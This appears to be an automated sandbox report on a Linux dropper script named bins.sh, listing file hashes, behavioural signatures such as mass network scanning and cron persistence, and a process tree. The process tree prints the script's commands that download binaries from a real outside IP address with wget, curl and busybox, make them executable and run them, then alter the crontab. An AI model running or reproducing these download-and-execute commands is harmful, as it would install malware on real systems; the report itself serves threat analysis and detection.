Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    04-11-2024 17:42

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    a0dad1a573f72a6534abb219fcb609c3

  • SHA1

    140b3643fa1f39b4149ba4ecf7b68c13e59fad26

  • SHA256

    79055bdb682b5b7fc371766063624ec6392ac3d09f2e698e07af4cf6cc6efa3a

  • SHA512

    736c9b38ddeedc4ad6791d7a4cbcb0c965a04cfefdd19cf1c6efe08fa3a8cd880a18b7b0300a919879507ccac630c74b5f2c2ecb3446b776592495dd0a703401

  • SSDEEP

    192:1amOZ5azCQNhdT4EnSEnSEnkEnsQEnrEnNtV92ypQbaEnSEnSEnkEnsQEnrEnFtg:1amOZ5azCQRx331CWZQbP331CW9hamOd

Malware Config

Signatures

  • Contacts a large (2075) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 3 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 9 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:647
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:649
        • /usr/bin/wget
          wget http://216.126.231.240/bins/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
          2⤵
          • Writes file to tmp directory
          PID:650
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:676
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
          2⤵
          • Writes file to tmp directory
          PID:679
        • /bin/chmod
          chmod 777 rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
          2⤵
          • File and Directory Permissions Modification
          PID:682
        • /tmp/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
          ./rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
          2⤵
          • Executes dropped EXE
          PID:683
        • /bin/rm
          rm rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
          2⤵
            PID:686
          • /usr/bin/wget
            wget http://216.126.231.240/bins/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
            2⤵
            • Writes file to tmp directory
            PID:688
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:702
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
            2⤵
            • Writes file to tmp directory
            PID:716
          • /bin/chmod
            chmod 777 czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
            2⤵
            • File and Directory Permissions Modification
            PID:726
          • /tmp/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
            ./czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
            2⤵
            • Executes dropped EXE
            PID:728
          • /bin/rm
            rm czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
            2⤵
              PID:731
            • /usr/bin/wget
              wget http://216.126.231.240/bins/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
              2⤵
              • Writes file to tmp directory
              PID:732
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:738
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
              2⤵
              • Writes file to tmp directory
              PID:747
            • /bin/chmod
              chmod 777 qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
              2⤵
              • File and Directory Permissions Modification
              PID:754
            • /tmp/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
              ./qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:755
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:757
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                    • Reads runtime system information
                    PID:758
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:761
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:762
                • /bin/rm
                  rm qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
                  2⤵
                    PID:776
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw
                    2⤵
                      PID:779

                  Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • /tmp/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk

                    Filesize

                    107KB

                    MD5

                    eb9c3a0de91fcf16ba17cb24608df68c

                    SHA1

                    09d95a7d70d5e115d103be51edff7c498d272fac

                    SHA256

                    dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                    SHA512

                    9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                  • /tmp/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran

                    Filesize

                    119KB

                    MD5

                    1b166b95f9cb4b079ef1b9ec8363ddf3

                    SHA1

                    0d8eb08add467b3b5474f9b25909297fe7c2839c

                    SHA256

                    94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                    SHA512

                    983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                  • /tmp/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt

                    Filesize

                    122KB

                    MD5

                    cd3d4b9c643e5b473fb4d88ed05f0716

                    SHA1

                    64ee7a97418583d759eaea8000890cc3bae1b5f4

                    SHA256

                    0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                    SHA512

                    164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                  • /var/spool/cron/crontabs/tmp.DOReie

                    Filesize

                    210B

                    MD5

                    9800dc4c6995ee0d2e69500da448d290

                    SHA1

                    723bd88e57e51ebe038aefd57a9def218fdbb1d8

                    SHA256

                    446a623cfd93974f56c8ce74a95dd522fc359a44d7a32f584b2550d69981be51

                    SHA512

                    167a3c5efebf90d8acfbc27e33792ff379ac6c2f6a56a2f86d294ebcb1307ee685718798653e0c429546797834a66132b847e89a1db207362626a0d7199829f1